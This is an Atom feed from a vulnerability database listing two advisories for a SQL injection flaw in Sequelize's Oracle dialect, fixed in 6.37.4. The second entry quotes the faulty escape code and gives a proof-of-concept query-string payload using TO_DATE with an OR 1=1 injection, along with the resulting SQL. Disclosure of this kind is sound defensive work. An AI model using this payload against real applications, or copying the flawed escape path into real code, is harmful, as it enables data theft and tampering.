<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-09-29T17:17:20.664519+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2026-69240</id>
    <title>CVE-2026-69240 — Sequelize: SQL Injection (Oracle DB)</title>
    <updated>2026-09-29T17:17:22.442037+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> sequelize</p>
<p>Sequelize is a Node.js ORM tool. Prior to 6.37.4, SQL injection is possible with strings only if dialect is set to oracle. The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE. In the Oracle dialect, when val is a string and starts with TO_TIMESTAMP or TO_DATE, escape returns val directly instead of replacing single quotes. An attacker can inject arbitrary SQL expressions through an application value that reaches this escape path. This issue is fixed in version 6.37.4.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2026-69240"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-v8fg-2rw7-q452</id>
    <title>GHSA-v8fg-2rw7-q452 — Sequelize: SQL Injection (Oracle DB)</title>
    <updated>2026-09-29T17:17:22.442148+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: sequelize</p>
<p>### Summary
SQL Injection is possible with strings only **if dialect is set to `oracle`**.
The vulnerability was confirmed on Sequelize v6.37.3.</p>
<p>### Details
The `escape` function defined in `sql-string.js` does not escape quotes if the value starts with `TO_TIMESTAMP` or `TO_DATE`.</p>
<p>```javascript
  } else if (dialect === 'oracle' &amp;&amp; typeof val === 'string') {
    if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
      return val;
    }
    val = val.replace(/'/g, "''");
  }
```</p>
<p>### PoC
Suppose the application has the following code:</p>
<p>```javascript
  var result = await models.Student.findOne({
    where: {
      firstName: req.query.firstName
    }
  });
```</p>
<p>An attacker can inject arbitrary sql expressions.</p>
<p>`http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--`</p>
<p>The resulted SQL will be:</p>
<p>```SQL
SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;
```</p>
<p>### Impact
Data theft and tampering.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-v8fg-2rw7-q452"/>
  </entry>
</feed>
